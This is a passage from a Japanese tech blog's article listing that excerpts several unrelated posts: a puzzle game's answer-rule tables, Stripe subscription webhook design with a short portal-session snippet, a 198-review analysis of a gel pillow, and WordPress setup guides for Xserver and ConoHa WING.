採用したのは、問題ごとに用意した判定表です。「この語が含まれていたらYES」「この語ならNO」「この語なら関係ありません」という対応を、問題ごとに数十件ずつ書き下ろしました。4ジャンル合計で1,083件のルールがあります。プレイヤーの質問は上から順に照合され、最初に一致したルールの答えが返ります。 判定表を主役にしたのには理由があります。AIに毎回判定させると、同じ質問に対して答えがぶれることがあります。推理ゲームで判定がぶれると、プレイヤーは自分の推理ではなく判定を疑い始めます。ぶれない判定こそがこのゲームの土台なので、まず表で答えられる範囲を厚くしました。 解答は正解か不正解かの二択にしない 解答の判定も同じ考え方です。真相を一言一句あてる必要はなく、核心となる要素をいくつ言い当てたかで見ます。惜しいときは「核心の2/3までは合っています」のように、どこまで届いているかが返ります。正解か不正解かの二択にしないことで、あと一歩の状態から自力で詰められるようにしました。 ### [Stripeサブスク課金の設計と運用｜プラン変更・解約・支払い失敗の捌き方](https://codequest.work/stripe-subscription-billing-operations/) Stripeでサブスクリプション課金を組むとき、難しいのは決済画面を出すところではありません。詰まるのは、プラン変更・支払い失敗・解約という「契約が動いたあと」の状態を、自分のデータベースにどう反映するかです。決済画面まではドキュメントどおりに書けば半日で動きますが、そのあとに来る状態変化は、Webhookを正しく設計していないと静かに取りこぼされます。 取りこぼしは目に見えるエラーになりません。解約した利用者が有料機能を使い続けたり、逆に払っている利用者が無料プランに落ちたりします。どちらも例外を投げないので、ログを見ても気づけません。気づくのは利用者から問い合わせが来たときです。 この記事では、プラン設計・カスタマーポータルへの委譲・拾うべきWebhookの3イベント・支払い失敗時の扱い・日割りの挙動を、Stripe公式ドキュメントの記述と対応させながら整理します。最後に、テストモードから本番へ切り替える前に確認する5項目を合否ラインつきで置きます。Checkout Sessionと署名検証の実装コードそのものは扱いません（後述の記事に譲ります）。 サブスク課金で詰まるのは、決済のあとに来る3つの状態変化 1回限りの決済と違い、サブスクリプションは契約が生き物です。決済が終わったあとも、契約の状態は勝手に変わり続けます。アプリ側が追いかけなければならない変化は、大きく3つしかありません。 状態変化何が起きたかアプリ側がやることプランが変わる利用者がアップグレード／ダウングレードした保存しているプラン名を書き換える払えなくなるカードの期限切れ・残高不足で請求が失敗した猶予期間を与え、期限を過ぎたら機能を止めるやめる利用者が解約した／リトライを尽くして打ち切られた無料プランに戻し、契約IDを外す 重要なのは、この3つはいずれも自分のアプリを経由せずに起きうるという点です。利用者はStripeが用意した画面で解約できますし、カードの期限切れは誰の操作もなく訪れます。だからこそ、状態の変化はWebhookで受け取るしかありません。自分の画面に解約ボタンを置いたかどうかとは無関係に、Webhookの設計が課金の正しさを決めます。 なお、サーバーやAPIの役割そのものが曖昧な状態で課金に手を付けると切り分けが難しくなります。全体像から確認したい場合はバックエンドとは？サーバー・DB・APIの全体像を先に読んでおくと、この記事の話が置き場所付きで入ります。 最初に決める3つ：Priceの切り方・プラン数・値上げしたときの扱い コードを書く前に決めておかないと、あとで作り直しになる設計項目が3つあります。いずれも「一度売り始めると変えにくい」ものです。 ProductとPriceは「商品」と「値札」の関係 Stripeでは、売るもの自体をProduct、いくらでどの周期で請求するかをPriceとして分けて持ちます。「Proプラン」がProductで、「月額2,000円」「年額20,000円」がそれぞれ別のPriceです。月払いと年払いを用意するなら、Productは1つ、Priceは2つになります。 アプリ側は、このPriceのIDを見て「この人はどのプランか」を判定することになります。判定の入口がPrice IDである以上、Price IDが増えたり入れ替わったりする場面をあらかじめ想定しておく必要があります。それが次の項目です。 値上げすると、Price IDは必ず増える Priceの金額は、あとから書き換える運用にはなっていません。値段を変えるときは新しいPriceを作り、そこから先の契約を新しいPriceに向けます。つまり値上げした瞬間、システムの中には「旧価格のPrice ID」と「新価格のPrice ID」が同時に存在します。既存の契約者は旧IDのまま残ります。 ここが設計上いちばん危ない場所です。Price IDとプラン名の対応表をコードに持って判定する実装は素直で分かりやすいのですが、対応表に載っていないIDが来たときの振る舞いを決めていないと、値上げした日に事故ります。載っていないIDを機械的に無料プラン扱いにする実装だと、新Priceに切り替えた契約者が全員無料に落ちます。 対応表を持つこと自体は問題ありません。決めておくべきは「知らないIDが来たらどうするか」です。安全側に倒すなら、知らないIDのときは現在のプランを変更しないのが基本になります。無料に落とすのも有料に格上げするのも、どちらも実害が出ます。 プラン数は少ないほど運用が軽い プランを増やすと、アップグレード・ダウングレードの組み合わせが増え、日割りの検証パターンも増えます。個人開発なら、無料＋有料1〜2段が扱いやすい範囲です。カスタマーポータルでプラン変更をさせる場合、選択肢として提示できるのは最大10商品までという上限もあります（Stripe公式ドキュメント「顧客にカスタマーポータルを提供する」）。 Checkout Sessionは入口でしかない Checkout SessionはStripeがホストする決済ページです。カード情報が自分のサーバーを通らないため、実装の負担もセキュリティ上の責任範囲も小さくできます。サブスクリプションなら mode を subscription にしてセッションを作り、返ってきたURLへ利用者を飛ばすだけです。 問題は、そのあとに戻ってくる success_url の扱いです。決済完了ページに到達したことは、支払いが成立した証明にはなりません。利用者は決済後にブラウザを閉じることがありますし、逆にURLを直接叩くこともできます。戻り先の画面で「ありがとうございます」と表示するのは構いませんが、そこでプランを書き換えてはいけません。 プランを書き換える権限を持つのはWebhookだけ、と決めてしまうのが結局いちばん堅くなります。戻り先の画面は「処理中です」と伝えるだけにして、実際のデータ更新はWebhookの到着で行う。この分担にしておくと、あとで支払い方法を増やしたときにも同じ形が使えます。 Checkout Sessionを作る具体的なコードと、Webhookの署名検証・冪等性の実装はNext.js×Cloudflare Workers×D1でSaaS開発する方法にまとめてあります。この記事はそこには踏み込まず、受け取ったあとの設計だけを扱います。 解約と支払い方法の変更は自作しない 課金まわりで自作すると割に合わないのが、解約画面・支払い方法の変更画面・請求書の一覧です。これらはStripeのカスタマーポータルが最初から持っています。ポータルに寄せると、自分で書くコードはセッションを1つ作って発行されたURLへ飛ばすだけになります。 ポータルに任せられること 支払い方法の更新（カードの差し替え） プランの変更 解約（即時か、現在の請求期間の終了時かを選べる） 納税者番号を含む請求先情報の更新 現在および過去の請求書の支払い・ダウンロード・表示 解約を引き止めるためのクーポン提示や、解約理由の収集も設定でまかなえます。理由はWebhook経由で受け取れるので、自前のアンケート画面を作る必要もありません。 先に知っておくべき制約 便利な代わりに、設計を縛ってくる制約がいくつかあります。あとから気づくと画面構成をやり直すことになるので、先に把握しておきます。 制約設計への影響ポータルのセッションは作成から5分で期限切れ（使い始めた場合は最終操作から1時間）URLを事前に発行して保存しておく設計にはできない。押された瞬間に作るiframe内に表示できない自サイトに埋め込む形にはできない。別画面へ遷移させる複数商品・従量課金・請求書送付の契約は、解約はできるが変更はできないプラン変更を提供するなら、契約は単一商品の定額に寄せるプラン変更の選択肢は最大10商品プランを増やしすぎない ポータルへ送り出す処理は、契約中の利用者かどうかを確かめてからセッションを作る、という形になります。 // 顧客IDを持っていない＝一度も課金していない利用者はポータルに入れない if (!user.stripeCustomerId) { return { error: "契約が見つかりません" } } // セッションは押された瞬間に作る（5分で失効するため事前生成しない） const session = await stripe.billingPortal.sessions.create({ customer: user.stripeCustomerId, return_url: `${baseUrl}/dashboard`, }) return { url: session.url } ここで重要なのは、ポータルでの操作結果はこのコードには返ってこないことです。利用者がポータルでプランを変えても解約しても、アプリが知る手段はWebhookしかありません。次章がその設計になります。 拾うべきWebhookは3つ｜イベント別の対応表 Stripeが送ってくるイベントは膨大ですが、定額のサブスクリプションを回すだけなら中心は3つです。公式も「実装で必要なイベントのタイプのみを受信するように設定します。その他のイベント（またはすべてのイベント）をリッスンすると、お客様のサーバーに過度の負荷がかかるため、お勧めしません」としています（Stripe公式ドキュメント「Webhook エンドポイントで Stripe イベントを受信する」）。 イベントいつ来るかやることcheckout.session.completed決済画面での初回契約が成立したとき顧客IDと契約IDを保存し、プランを付与するcustomer.subscription.updatedプラン変更・状態変化・解約予約など、契約が更新されたときプランと契約状態の両方を同期するcustomer.subscription.deleted契約が終了したとき無料プランに戻し、契約IDを外す メール通知まで自分でやるなら、次の2つを足します。プラン判定には使いません。 invoice.payment_failed — 請求が失敗したとき。attempt_count にそれまでの試行回数が入る customer.subscription.trial_will_end — トライアル終了の3日前（残り3日未満で開始した場合は即座に発火する） 前提にしてはいけないこと 設計の前に、Stripe公式が明言している2つの性質を押さえます。どちらも「そうなっていてほしい」と思い込みやすい部分です。 順序は保証されない。公式の記述は「Stripe は、イベントが生成された順序で配信されることを保証しません」。あとから発生した変更が先に届くことがある 同じイベントが複数回届きうる。公式の記述は「Webhook エンドポイントは、同じイベントを複数回受信する可能性があります」。処理済みのイベントIDを記録して弾く 重複より順序のほうが厄介です。重複は「同じ更新をもう一度やるだけ」で済むことが多いのに対し、順序の入れ替わりは古い状態で新しい状態を上書きするため、結果が静かに壊れます。契約の情報を丸ごと受け取って上書きするのではなく、届いたイベントのIDを記録しつつ、必要なら契約IDから最新の状態をAPIで取り直すほうが安全です。 あわせて、応答は速く返します。公式は「タイムアウトを引き起こす可能性のある複雑なロジックの前に、成功ステータスコード（2xx）をすばやく返します」としています。メール送信のような重い処理を同期で挟むと、応答が遅れてタイムアウト扱いになり、リトライを呼び込みます。 初回契約のイベントだけだと、プラン変更が丸ごと漏れる いちばん多い作り落としが、checkout.session.completed だけを処理して終わらせてしまう形です。 ### [横向き寝用枕は高さで決まる｜楽天レビュー198件を全部読んで分かったこと](https://codequest.work/side-sleeper-pillow-review-analysis/) 枕を買い替えたいけれど、商品ページの宣伝文句をどこまで信じていいか分からない——そんなときに一番あてになるのは、実際に買った人が書いた文章です。 楽天市場で販売されている横向き寝用のジェル枕について、投稿されている購入者レビュー198件をすべて読んで分類したところ、満足と不満を分けている要因はほぼ「高さが自分に合ったかどうか」の一点でした。高さが合わなかったと書いた人の平均評価は★3.54、ちょうど良かったと書いた人は★4.40。同じ商品で0.86の差がついています。 そしてこの記事でいちばん伝えたいのは、その決定的な「高さ」の数値が、商品ページのどこにも書かれていないという事実です。以下、198件の内訳と、そこから読み取れる「買う前に確認すべきこと」を順に整理します。ジェル枕全体の売れ筋を先に見ておきたい方は、ランキングから比較するのが早いです。 本記事でレビュー198件を分析した枕です。 【在庫処分・赤字覚悟!!】 【理学療法士&整体師監修】 枕 枕カバー 付き 父の日 母の日 ギフト 誕生日 プレゼント 洗える 通気性 抜群 横向き寝用枕 うつぶせ寝 まくら 柔らかい ジェル 首 寝返り 横向き 仰向け いびき 予防 低反発枕 高反発枕 至極 調律 極柔 安眠 楽天で購入 楽天市場のジェル枕ランキングを見る この記事の調べ方と前提 最初に、この記事が何をもとに書かれているかをはっきりさせておきます。筆者はこの枕を6か月使っていますが、この記事の中心は個人の感想ではなく、楽天市場に投稿された購入者レビュー198件を読んで分類した集計結果です。1人の体験だけでは「たまたま自分に合っただけ」なのか「多くの人に共通するのか」を区別できないためです。筆者自身の使用感は、集計結果と食い違う箇所でだけ補足として添えます。 データは2026年8月2日時点で、楽天市場の当該商品レビューページの全7ページを対象に取得しました。取りこぼしがないことは次の方法で確認しています。 取得できた件数は198件で、楽天が表示しているレビュー件数198件と一致した 取得した★の分布から平均点を計算すると4.30となり、楽天が表示している総合評価4.30と一致した 件数と平均点の両方が公称値と一致したので、一部だけを抜き出した分析ではありません。★の内訳は次のとおりです。投稿期間は2025年4月23日から2026年7月27日までです。 評価件数割合★59246.5%★48442.4%★3157.6%★242.0%★131.5% なお、枕は医療機器ではありません。この記事で扱うのはあくまで購入者が書いた主観的な感想の傾向であり、症状の改善を保証するものではありません。首や肩の痛み、しびれが続く場合は、寝具を買い替える前に整形外科などの医療機関に相談してください。 この枕の基本スペック まず商品ページに記載されている情報を整理します。横向き寝用枕とは、横を向いて寝たときに肩幅のぶんだけ生じる首と敷き寝具のすき間を埋め、頭から首をまっすぐに保つことを狙った枕です。仰向け専用の枕より高さが必要になるのが一般的です。 価格6,980円素材3Dメッシュとポリマー系素材の複合、活性炭配合重量本体 約2,980g、カバー 約105g内容物枕本体、抗菌カバー、取扱説明書、収納ボックス洗い方本体は中性洗剤で押し洗い、カバーは30℃以下で洗濯保証365日間の品質保証（製造不良時の無償交換）寸法記載なし 表の最後の行に注目してください。縦・横・高さのいずれも、商品ページには数値が書かれていません。重量は1グラム単位で書かれているのに、寸法だけがないという状態です。この記事の後半で見るとおり、購入者の満足度を最も左右しているのがこの「高さ」なので、ここが空欄であることの意味は小さくありません。 満足と不満を分けたのは「高さ」だけだった 198件を内容ごとに分類し、それぞれのグループの平均評価を出しました。すると、平均★4.30という全体値を大きく下回るグループが2つだけあることが分かります。 言及した内容件数平均★高さが低い・合わない133.54梱包や配送が悪い183.56寝返りしやすい134.00重い334.15横向きで使える164.19首や肩がラクになった334.33高さがちょうど良い104.40洗えて清潔114.45 商品そのものの評価に関わる項目のうち、はっきり低いのは「高さが合わない」だけです。そして注目すべきは、同じ「高さ」について書いているのに、合った人（★4.40）と合わなかった人（★3.54）で0.86の差がついている点です。素材でも作りでもなく、自分の体に合うかどうかという一点で評価が割れています。 「低すぎる」13件は、全員が同じ方向を向いていた 「高さが合わない」と書いた13件は、その全員が「低すぎる」方向で不満を述べています。「高すぎる」という趣旨のレビューは見当たりませんでした。★1を付けた人の「自分には低すぎて合いませんでした。素材は気にったのに残念です」という一文が、この商品の失敗パターンを端的に表しています。素材は評価しているのに、高さだけで不合格になっているわけです。 より詳しく書いている★2のレビューは、原因まで説明しています。「私にはこの枕は低すぎて合いませんでした。私の頭は説明画像より、かなり沈みました」。つまり枕の絶対的な高さの問題というより、柔らかい素材に頭が沈み込んだぶん、実際に支えられる高さが目減りしたという現象です。頭が重い人、体格が大きい人ほどこの影響を受けやすいことになります。 筆者は6か月使って不満がない。それでも数値の不在は問題である 筆者は6か月使っていますが、高さが足りないと感じたことはありません。沈み込んだところでちょうど止まる感覚があり、気にならないというのが実感です。ただしこれは体格が合っていただけの話で、13件が「低すぎる」と書いている以上、誰にでも当てはまるとは言えません。同じ枕でも★4.40と★3.54に割れるのは、まさにこの個人差が理由です。 ここで冒頭の話に戻ります。これだけ評価を左右する高さの数値が、商品ページには書かれていません。購入前に自分の肩幅や体格と照らし合わせて判断する材料が、そもそも提供されていないということです。この商品に限らず、寝具を選ぶときは「高さの数値が書いてあるか」を最初に見ることをおすすめします。 評価を左右していたのは、枕の寝心地ではなかった ★1と★2を付けた人が何に怒っているのか、そして33件が口をそろえる「重い」がどう受け取られているのか。どちらも枕の寝心地そのものとは別の話でした。 低評価7件の過半数は「届き方」への不満だった ★1と★2は合わせて7件です。数が少ないので、1件ずつ何に対する不満なのかを分類しました。 不満の対象件数内容梱包・配送4箱の破損、伝票の直貼り、開封時に本体が破れていた高さが低い2頭が沈んで支えが足りない頭に熱がこもる1通気性の体感が説明と違った 7件のうち4件、つまり過半数は枕の品質ではなく届いた状態への不満です。「収納ボックスに直接伝票貼られてるし、箱を固定するテープもめっちゃ汚く貼られてる」「袋は破けて中の箱も底が破れて空いていて」といった具体的な記述が並びます。低評価だけを拾い読みすると商品が悪いように見えますが、中身を読むと話が違うわけです。 これは低評価に限った話ではありません。梱包・配送に言及したレビューは全体で18件あり、そのグループの平均は★3.56。高さ不満（★3.54）と並んで、この商品の評価を最も押し下げている要因です。付属の収納ボックスがそれなりに立派なため、そこに伝票を直接貼られると落差が目立つ、という事情もあるようです。 実用上の結論はシンプルです。自分で使うぶんには箱が多少傷んでも困りませんが、贈り物として買うのは避けたほうが無難です。実際、梱包を理由にした★1の2件はどちらもプレゼント用の購入でした。 約3kgの重さは、不満ではなく安定感として受け取られている 本体重量は約2,980g、つまり3kg近くあります。一般的な低反発枕が1kg前後であることを考えると、かなり重い部類です。実際、重さに言及したレビューは33件（16.7%）と多く、「最初の感想は、重い！！笑」のように驚きを隠さない書き方が目立ちます。 ところが、この33件の平均評価は★4.15で、全体平均の4.30とほとんど変わりません。重さは驚かれてはいるものの、評価を下げる要因にはなっていないということです。理由はレビューを読むと分かります。 「ズレとフィット感が気になるのでジェル枕にしたら、重さもありズレなかったです」。従来の枕で「朝起きると枕がどこかへ行っている」という悩みを持っていた人にとって、重さはそのまま解決策になっています。寝返りを打っても枕が動かないという価値と引き換えに、持ち運びや洗濯時の扱いにくさを受け入れる——そういうトレードオフとして受け止められています。 ただし、注意を促すレビューもあります。「枕がやたら重い。重量を把握した上での購入を勧めます」（★4）。本体は中性洗剤で押し洗いする仕様なので、水を含んだ状態では3kgよりさらに重くなります。洗って干す作業を自分でできるかどうかは、買う前に想像しておいたほうがよい点です。 宣伝文句と購入者の実感がズレている2つの点 商品ページに書かれた効能と、実際に買った人が書いた感想を突き合わせると、ズレが2か所ありました。いずれも症状名を挙げた効能表示の部分です。 「いびき軽減」を裏づけるレビューは1件もなかった この商品ページには「気道を自然に開くカーブ形状で、いびき軽減と深い睡眠を促進」という説明があります。商品名にも「いびき 予防」という語が入っています。では実際に買った人はどう書いているか。 198件のうち、いびきに触れたレビューはわずか2件でした。内訳は次のとおりです。 「寝心地はとてもいいです。いびきは変わらずかいてますね。首や肩楽です」（★3） 「枕難民の私です。いびきをかくので合う枕を色々と試しています」（★4／購入した動機の説明であって、効果の報告ではない） つまり、いびきが減ったと報告している購入者は198件中0人です。明確に「変わらなかった」と書いている人が1人いるだけです。198件も集まっていれば、効果があった人が数人はレビューに書きそうなものですが、そうなっていません。 「ストレートネック特化」も同じ読み方をする 同じ構図は「ストレートネック対策に特化」という説明にも当てはまります。ストレートネックに言及した4件のうち1件は「ずっしり重くて寝心地はいい。思ったよりストレートネックに効きはしない」（★4）と書いています。首の負担が軽くなったという肯定的な報告もありますが、全体としては症状名を挙げた効能表示を期待して買うと外す可能性が高いと読むべきです。 逆に、「首や肩がラクになった」という感想は33件（全体の16.7%）あり、そのグループの平均は★4.33と高めです。症状名を掲げた効能ではなく、寝姿勢が安定することによる体感の改善であれば、多くの人が実感しているという読み方ができます。 好みが割れるところ、まだ答えが出ていないところ 最後に、読む人によって答えが変わる項目を2つまとめます。どちらも「良い・悪い」で決着せず、自分がどちら側かを考える必要があるところです。 感触は「水枕に近い」。ここは完全に好みが割れる 198件で最も多く語られていたのは、実は性能ではなく感触の珍しさでした。「柔らかい」「独特」「新感覚」「不思議」といった表現を含むレビューは40件（20.2%）にのぼります。具体的には「水枕に似た感覚」「ポヨンとした弾力が心地いいです！」といった書き方です。 このグループの平均は★4.30で、全体平均とぴったり同じです。つまり感触の珍しさは、良い方向にも悪い方向にも転んでいるということになります。 ### [エックスサーバーでWordPressをインストールする手順｜クイックスタートの画面つき解説](https://codequest.work/xserver-wordpress-install/) WordPressクイックスタートとは、エックスサーバーの申し込みと同時に「独自ドメインの取得・設定」「WordPressの新規設置」「独自SSLの自動設定」までを一括で完了できる公式機能です。申し込みフォームで「利用する」にチェックを入れるだけで、ブログ運営に必要な初期設定がまとめて済みます（2026年7月時点の公式サイトより）。 エックスサーバーは国内シェアNo.1・運用サイト数250万件超の定番サーバーですが、申し込みには「通常申し込み（10日間無料お試しつき）」と「クイックスタート（お試しなし・即開設）」の2ルートがあり、ここを理解せずに進めると「無料お試しのつもりが即課金だった」という行き違いが起こりがちです。 この記事では、エックスサーバーの申し込みからWordPressクイックスタートでのインストール、公開直後にやるべき設定までを公式サイトの画面つきで解説します。2ルートの違いと選び方も先に整理するので、自分に合う進め方で迷わず開設できます。 エックスサーバーでWordPressを始める全体像 エックスサーバーの申し込みはWeb上ですべて完結します。最初に、進め方が2ルートあることを押さえてください。 出典: エックスサーバー公式サイト（2026年7月時点） WordPressクイックスタートを使う：ドメイン取得・WordPress設置・SSL設定まで申し込みと同時に完了。ただし10日間無料お試しは付かず、申し込みと同時に支払いが発生（公式明記） 通常申し込み：10日間の無料お試しで使用感を確かめてから本契約。WordPressのインストールとドメイン設定は自分で行う 「エックスサーバーで運用する」と既に決めている人はクイックスタート、他社サーバーと迷っていて管理画面の使用感を試したい人は通常申し込み、という選び方が基本です。本記事は最短でWordPressを立ち上げるクイックスタートのルートを軸に解説します。 申し込み前に決めておく4つのこと 申し込みフォームの途中で手が止まらないよう、次の4点を先に決めておきましょう。 1. プランと契約期間 個人サイト・ポートフォリオ・ブログ用途なら最下位の「スタンダード」で性能は十分です。契約期間は12ヶ月がバランスの良い基準になります。そもそもどのサーバー会社にするか比較中の人は、ポートフォリオサイトを公開するためのレンタルサーバーの選び方を先に読んでみてください。 2. クイックスタートを使うかどうか 前述のとおり、クイックスタートを利用すると10日間無料お試しは付きません。「試してから決めたい」気持ちが少しでもあるなら通常申し込みを選び、お試し期間中に使用感を確認してから本契約後にWordPressをインストールする流れにしましょう。 3. 独自ドメイン名 WordPressで使うドメイン名は一度設定すると変更が効かないため、綴りまで確定させておきます。エックスサーバーでは対象プラン・条件を満たすと「.com」「.jp」などの人気ドメインが2つまで永久無料になる特典があります（2026年7月時点。適用条件は申し込み時に公式サイトで確認してください）。 4. ブログ名とWordPressのログイン情報 クイックスタートではブログ名（サイト名）・WordPressのユーザー名・パスワードを入力します。ブログ名は後からWordPress管理画面で変更できるので仮でも構いませんが、ユーザー名とパスワードはXserverアカウントのログイン情報とは別物です。混同しないよう分けて控えておきましょう。 料金プランの確認（スタンダードが基準） 初期費用は無料で、月額は契約期間が長いほど下がります。2026年7月時点の公式料金表は次のとおりです（キャンペーンのキャッシュバックで実質額はさらに下がる場合があります。最新価格は申し込み時に公式サイトで確認してください）。 出典: エックスサーバー公式サイト 料金プラン比較（2026年7月時点） 項目スタンダードプレミアムビジネス月額（12ヶ月契約）1,100円2,200円4,400円初期費用無料無料無料無料お試し10日間（通常申し込み時）10日間（通常申し込み時）10日間（通常申し込み時）独自ドメイン無料特典あり（条件つき）あり（条件つき）あり（条件つき）向いている用途個人ブログ・ポートフォリオアクセスの多いメディア法人サイト・案件 申し込み手順（クイックスタート利用の流れ） 公式サイトの「お申し込み」ボタンから進みます。通常申し込みの全体像は次の4ステップですが、クイックスタート利用時はお試し期間がなく、お支払いまで一度に完了します。 出典: エックスサーバー公式サイト お申し込み手順（2026年7月時点） お申し込みフォームへ進む：公式サイトの「お申し込み」から「サーバー新規お申し込み」を選択 プラン・契約期間を選択：スタンダード・12ヶ月が基準 「WordPressクイックスタート」の「利用する」にチェック：お試し期間がなくなる旨の確認が表示される ドメイン名・ブログ名・WordPress情報を入力：事前に決めた内容を入力していく Xserverアカウント情報を登録し、認証・支払いへ：メールアドレス・氏名等を登録し、案内に沿って認証と支払いを済ませて申し込み完了 出典: エックスサーバー公式サイト。クイックスタート利用時は10日間無料お試しが付かない旨が明記されている（2026年7月時点） 申し込みが完了すると、登録メールアドレス宛に「サーバーアカウント設定完了」のお知らせが届きます。公式の案内では最短数分〜最大24時間以内です。このメールにはサーバーパネルのログイン情報など重要な情報が含まれるため、必ず保管してください。 申し込み後に確認する3つのこと 設定完了メールの受信：最短数分〜最大24時間以内に届く。迷惑メールフォルダも確認する サイトの表示とSSL（https）の確認：取得したドメインにアクセスしてWordPressの初期画面が表示されるか確認。ドメインのDNS反映とSSL設定の反映には数十分〜数時間かかる場合があるため、表示されなくても慌てず待つ WordPress管理画面へのログイン：「https://ドメイン名/wp-admin/」にアクセスし、クイックスタートで決めたユーザー名・パスワードでログインする インストール後に最初にやるWordPress設定 ログインできたら、記事を書き始める前に次の設定だけ済ませておきましょう。 パーマリンク設定：設定→パーマリンクで「投稿名」へ。公開後に変更するとURLが変わるため最優先で決める 一般設定：サイトタイトル・キャッチフレーズを確認して整える 不要な初期プラグイン・テーマの整理：使わないものは削除してセキュリティリスクを減らす テーマの適用確認：クイックスタートで選んだテーマの有効化を確認。後からいつでも変更できる Web制作の案件でクライアントのサーバーを設定する場合は、セキュリティやバックアップなど確認項目がさらに増えます。WordPress案件を受注したら最初にやるサーバー設定をチェックリストとして使ってください。 ConoHa WINGとの使い分け 初心者向けサーバーとしてよく比較されるConoHa WINGとは、同種の一括セットアップ機能（ConoHa側は「WordPressかんたんセットアップ」）を持つ点で似ていますが、選ぶ決め手になる違いがいくつかあります。 項目エックスサーバーConoHa WING一括セットアップ機能WordPressクイックスタートWordPressかんたんセットアップ無料お試し10日間（通常申し込み時のみ）なし月額の目安（12ヶ月）1,100円（キャッシュバック適用で変動）1,000円前後（キャンペーンで変動）独自ドメイン無料2つまで（条件つき）2つ（WINGパック契約時）実績の訴求国内シェアNo.1・運用250万サイト国内最速クラスの表示速度向いている人実績と安定性を重視・案件利用も視野費用を抑えて速く始めたい初心者 ConoHa WING側の開設手順はConoHa WINGでWordPressをインストールする手順で同じ構成のまま解説しています。両方読んで比べると、自分に合う方がはっきり見えてきます。 うまくいかないときのチェックポイント 症状原因と対処設定完了メールが届かない公式案内では最短数分〜最大24時間。迷惑メールフォルダを確認し、24時間を過ぎたらサポートへ問い合わせるサイトが表示されないドメインのDNS反映待ちの可能性が高い。数十分〜数時間待ってから再アクセスする「保護されていない通信」と出る独自SSLの反映待ち。時間を置いてからhttpsでアクセスし直す管理画面にログインできないXserverアカウントの情報を入力していないか確認。WordPressのログインはクイックスタートで決めたユーザー名・パスワード無料お試しのつもりが課金されたクイックスタート利用時はお試し期間がなく申し込みと同時に支払いが発生する仕様（公式明記）。試したい場合は通常申し込みを選ぶ よくある質問 Q. クイックスタートを使うと無料お試し期間はなくなりますか？ なくなります。公式サイトにも「クイックスタートを利用して申し込んだ場合、10日間無料のお試し期間はありません。お申し込みと同時にお支払いが発生します」と明記されています。お試ししたい人は通常申し込みを選びましょう。 Q. クイックスタートを使わずに、後からWordPressをインストールできますか？ できます。通常申し込みで契約した後、サーバーパネルの「WordPress簡単インストール」機能からいつでもインストールできます。独自ドメインの取得・設定は別途必要になるため、手順は増えますが、お試し期間を使いたい人はこのルートが向いています。 Q. どのプランを選べばいいですか？ 個人ブログ・ポートフォリオ用途ならスタンダードで十分です。プレミアム以上はアクセスの多いメディアや複数サイトの運用向けで、後からのプラン変更も可能です。まずスタンダードで始めて、必要になったら上げるのが無駄のない選び方です。 Q. 独自ドメインは本当に永久無料ですか？ 「独自ドメイン永久無料特典」として、対象プラン・契約条件を満たすと2つまでのドメインが取得・更新ともに無料になります（2026年7月時点）。適用には契約期間などの条件があるため、申し込み画面で特典の適用条件を必ず確認してください。 Q. ConoHa WINGとどちらを選べばいいですか？ 実績・安定性を重視し、将来的にWeb制作案件でも使う可能性があるならエックスサーバー、費用を抑えて表示速度重視で始めたいならConoHa WINGが目安です。どちらも一括セットアップ機能・独自ドメイン無料特典・自動バックアップを備えており、個人利用ではどちらを選んでも大きな失敗にはなりません。 Q. 申し込みからサイト公開までどのくらいかかりますか？ 申し込みフォームの入力は10分程度です。その後、サーバーアカウント設定完了メールが最短数分〜最大24時間以内に届き、ドメインとSSLの反映を待てばサイトにアクセスできるようになります。当日中に公開まで進むケースが多いものの、余裕を見て1日と考えておくと確実です。 まとめ：ルートを決めれば迷わない 申し込みは「クイックスタート（即開設・お試しなし）」と「通常申し込み（10日間お試しあり）」の2ルート エックスサーバーに決めているならクイックスタート、試したいなら通常申し込み プランはスタンダード・12ヶ月が基準。初期費用は無料 ドメイン名は変更不可。 ### [ConoHa WINGでWordPressをインストールする手順｜かんたんセットアップの画面つき解説](https://codequest.work/conoha-wing-wordpress-install/) WordPressかんたんセットアップとは、ConoHa WINGの申し込みと同時に「独自ドメインの取得・設定」「WordPressのインストール」「テーマの追加」「SSLの設定」までを一括で完了できる公式機能です。従来は別々に行っていた作業がひとつの流れにまとまっているため、公式サイトでは「WordPress開設最短10分」とうたわれています（2026年7月時点）。 初めてのサーバー契約は「入力項目が多そう」「途中でつまずいたら戻れないのでは」と不安になりがちです。しかし実際の申し込みフローは全体で2ステップしかなく、事前に決めておくべきことを整理しておけば迷う場面はほとんどありません。 この記事では、ConoHa WINGの申し込みからWordPressかんたんセットアップでのインストール、公開直後にやるべき設定までを画面つきで解説します。当サイト（CodeQuest.work）自体もConoHa WINGで運用しているため、実際に使っていて感じる注意点も交えてまとめます。 ConoHa WINGでWordPressを始める全体像 作業は大きく「STEP1：サーバーの申し込み」と「STEP2：WordPressかんたんセットアップ」の2段階です。STEP2は申し込み完了画面からそのまま続けて設定でき、後からコントロールパネルで設定することもできます。 出典: ConoHa WING公式サイト（2026年7月時点） 所要時間の目安は以下のとおりです。入力作業そのものは10分程度で、残りは反映待ちの時間です。 申し込み（アカウント登録〜支払い）：約5分 WordPressかんたんセットアップの入力：約3〜5分 サイト表示・SSLの反映待ち：数分〜数十分（この間は待つだけ） 手元に用意しておくものは4つです。 メールアドレス：ConoHaアカウントの登録に使用 電話番号：SMS認証（または電話認証）に使用 支払い手段：クレジットカードが最も簡単。Amazon Pay・PayPal・銀行振込・コンビニ払いにも対応 取得したいドメイン名の候補：後から変更できないため、申し込み前に決めておく 申し込み前に決めておく4つのこと 申し込みフローの途中で考え込まないよう、次の4点だけ先に決めておきましょう。ここさえ済んでいれば、あとは画面の指示どおりに進むだけです。 1. プランと契約期間 個人サイト・ポートフォリオ・ブログ用途なら、最下位の「ベーシック」プランで性能は十分です。契約期間は月額が下がりすぎず縛りも長すぎない12ヶ月がバランスの良い選択です。そもそもどのサーバー会社にするか比較検討中の人は、ポートフォリオサイトを公開するためのレンタルサーバーの選び方を先に読んでみてください。 2. 独自ドメイン名 かんたんセットアップで設定するドメイン名は後から変更できません（公式の入力画面にも明記されています）。「名前+portfolio」「屋号やブランド名」など、名刺やSNSに載せても違和感のない短い名前を決めておきましょう。WINGパックなら独自ドメインが最大2つ無料で取得できます。 3. サイト名 WordPressのサイトタイトルです。こちらはインストール後にWordPress管理画面からいつでも変更できるので、仮の名前でも問題ありません。 4. WordPressのユーザー名とパスワード WordPress管理画面へのログインに使う情報で、ConoHaアカウントのメールアドレス・パスワードとは別物です。ここを混同すると後で「ログインできない」と慌てる原因になるため、パスワード管理ツール等に分けて控えておきましょう。 料金プランの確認（WINGパックを選ぶ） 